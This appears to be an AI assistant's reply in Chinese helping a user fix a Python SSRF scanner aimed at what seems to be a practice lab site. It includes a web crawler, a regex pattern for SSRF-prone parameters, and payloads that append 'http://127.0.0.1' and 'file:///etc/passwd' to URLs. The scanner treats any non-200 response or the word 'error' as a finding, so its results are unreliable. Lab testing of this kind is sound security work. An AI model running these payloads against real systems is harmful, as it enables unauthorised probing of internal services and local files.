根据您提供的代码片段和之前的描述,这段代码是用来测试Web表单中每个参数是否可能导致SSRF漏洞。它遍历表单(forms)列表,为每个表单字段构造一个URL,然后检查这个URL是否表现出SSRF的迹象。
这里是代码的详细解释:
- 遍历表单:使用 for form in forms: 循环遍历所有提取出的表单数据。
- 遍历表单字段:对每个表单,使用 for param in form['fields']: 循环遍历其字段集合。
- 构造测试URL:对于每个字段,使用 f"{form['action']}?{param}={form['fields'][param]}" 构造一个测试URL。这里 form['action'] 是表单提交的URL,param 是当前遍历的字段名,form['fields'][param] 是字段的值。
- 打印测试信息:打印构造的测试URL,以便于跟踪和审查。
- 验证SSRF漏洞:调用 verify_ssrf_vuln(test_url) 函数,传入构造的测试URL,以验证是否存在SSRF漏洞。
- 输出结果:如果 verify_ssrf_vuln 函数返回 True,表示可能发现了SSRF漏洞,并打印出易受攻击的表单字段名。
如果您认为这段代码没有被用到,可能是因为:
- 它没有被包含在 main 函数或其他调用它的函数中。
- 如果 forms 列表为空或者没有任何表单字段,循环将不会执行。
要确保这段代码被执行,您需要在 main 函数中调用 crawl_and_extract_links_forms 函数来填充 forms 列表,并确保 test_for_ssrf 函数在适当的时候被调用。
此外,您的代码中存在一些HTML实体(如 ' 和 "),它们应该被替换为正常的单引号 ' 和双引号 ",否则代码将无法正确执行。例如:
复制
base_url = 'http://www.iwebsec.com:81' # 替换HTML实体 ' 为 '
internal_test_value = 'http://127.0.0.1' # 替换HTML实体 " 为 "
确保您的代码中没有这些HTML实体,它们可能会干扰字符串的正确构造
从您提供的输出结果来看,脚本在构造测试URL时,并没有将http://127.0.0.1或file:///etc/passwd作为参数值正确地添加到基础URL http://www.iwebsec.com:81 之后。问题可能出在构造测试URL的逻辑上。
让我们来调整代码,确保能够发送包含内网IP和文件协议的测试URL。以下是关键部分的代码示例:
# ...之前的代码...
def test_for_ssrf(base_url, test_value):
# 构造包含特定测试值的URL
test_url = f"{base_url}?url={test_value}"
print(f"构造可能存在SSRF漏洞的URL并发送: {test_url}")
return verify_ssrf_vuln(test_url)
def main():
base_url = 'http://www.iwebsec.com:81'
# 测试内网地址和文件协议的SSRF漏洞
internal_test_value = 'http://127.0.0.1'
file_test_value = 'file:///etc/passwd'
with requests.Session() as session:
# ...可能存在的爬虫逻辑...
# 直接测试内网地址和文件协议的URL
if test_for_ssrf(base_url, internal_test_value):
print("检测到SSRF漏洞,内网地址可被访问。")
else:
print("未检测到针对内网地址的SSRF漏洞。")
if test_for_ssrf(base_url, file_test_value):
print("检测到SSRF漏洞,可以访问本地文件系统。")
else:
print("未检测到针对file协议的SSRF漏洞。")
# ...之后的代码...
请确保main函数中的test_for_ssrf调用使用了正确的参数。在上述代码中,我们直接调用了test_for_ssrf函数两次,一次用于内网地址http://127.0.0.1,一次用于文件协议file:///etc/passwd。
此外,确保test_for_ssrf函数能够正确地将这些值插入到URL中,并且verify_ssrf_vuln函数能够正确地处理和分析响应。
如果您的脚本中有其他逻辑或条件语句控制着测试流程,请确保这些逻辑是正确的,并且确实执行了上述的test_for_ssrf函数调用。
最后,请检查您的脚本没有其他地方错误地修改或覆盖了base_url或test_value变量的值。如果问题仍然存在,您可能需要逐步调试脚本,检查每个函数调用是否按预期工作。
代码
import re import requests from urllib.parse import urlparse, urljoin from bs4 import BeautifulSoup # 正则表达式匹配可能的SSRF漏洞参数 SSRF_PATTERN = re.compile( r'(?i)(\bparam\b|url|uri|src|source|href|data)\s*=\s*' r'(?:["\'][^"\']*["\']|[^\s]*?)' r'(?:http[s]?|ftp|file|dict|gopher|tftp|sftp|ldap)://' r'(?:[^\s"\'<>]+|localhost|127\.0\.0\.1|192\.168|10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\.)' r'(?::\d{2,5})?' ) def is_valid_url(url): # 检查URL是否有效 parsed_url = urlparse(url) return bool(parsed_url.scheme) and bool(parsed_url.netloc) def analyze_parameters(params, url): vulnerable_params = {k: v for k, v in params.items() if SSRF_PATTERN.search(k)} if vulnerable_params: print(f"在 {url} 中发现潜在的SSRF参数: {vulnerable_params}") return vulnerable_params def verify_ssrf_vuln(url): try: response = requests.get(url, timeout=5) if response.status_code != 200: print(f"响应错误 {url} (状态码: {response.status_code})") return True elif "error" in response.text.lower(): print(f"得到响应,存在潜在的 SSRF 漏洞: {url}") return True else: print(f"未发现 SSRF 漏洞。") return False except requests.exceptions.RequestException as e: print(f"请求失败,无法验证 SSRF 漏洞: {url},错误: {e}") return False def crawl_and_extract_links_forms(base_url, session): # 爬取页面并提取链接和表单 visited_urls = set() extracted_links = [] extracted_forms = [] def recursive_crawl(url, session): if url in visited_urls: return visited_urls.add(url) try: response = session.get(url, timeout=5) soup = BeautifulSoup(response.text, 'html.parser') for link in soup.find_all('a', href=True): href = link['href'] full_url = urljoin(base_url, href) if is_valid_url(full_url) and full_url not in visited_urls: extracted_links.append(full_url) recursive_crawl(full_url, session) for form in soup.find_all('form', action=True): form_action = form['action'] form_method = form.get('method', 'GET').upper() form_action_full = urljoin(base_url, form_action) fields = {input_tag['name']: input_tag.get('value', '') for input_tag in form.find_all('input', type=None)} extracted_forms.append({'action': form_action_full, 'method': form_method, 'fields': fields}) if form_method == 'POST': analyze_parameters(fields, form_action_full) except requests.exceptions.RequestException as e: print(f"无法获取 {url},错误: {e}") recursive_crawl(base_url, session) return extracted_links, extracted_forms def test_for_ssrf(base_url, test_value): test_url = f"{base_url}?url={test_value}" print(f"构造可能存在SSRF漏洞的URL并发送: {test_url}") return verify_ssrf_vuln(test_url) def main(): base_url = 'http://www.iwebsec.com:81' print(f"开始测试网址的URL: {base_url}") with requests.Session() as session: links, forms = crawl_and_extract_links_forms(base_url, session) url1='127.0.0.1' url2='file:///etc/passwd' for link in links: print(f"测试爬取到网址中a标签和表单form标签跳转存在的URL: {link}") test_url1 = f"{link}?url={url1}" print(f"构造判断内网地址的URL并发送: {test_url1}") verify_ssrf_vuln(test_url1) test_url2=f"{link}?url={url2}" print(f"构造测试file伪协议的SSRF漏洞的URL并发送: {test_url2}") verify_ssrf_vuln(test_url2) for form in forms: for param in form['fields']: test_url = f"{form['action']}?{param}={form['fields'][param]}" print(f"Testing form parameter for SSRF3: {test_url}") if verify_ssrf_vuln(test_url): print(f"Potential SSRF vulnerability found in form parameter: {param}") # 测试内网地址 internal_test_value = 'http://127.0.0.1' if test_for_ssrf(base_url, internal_test_value): print("当前页面检测到SSRF漏洞,内网地址可被访问。") else: print("当前页面未检测到针对内网地址的SSRF漏洞。") # 测试file伪协议的SSRF漏洞 file_test_value = 'file:///etc/passwd' if test_for_ssrf(base_url, file_test_value): print("当前页面检测到SSRF漏洞,可以访问本地文件系统。") else: print("当前页面未检测到针对file协议的SSRF漏洞。") if __name__ == "__main__": main()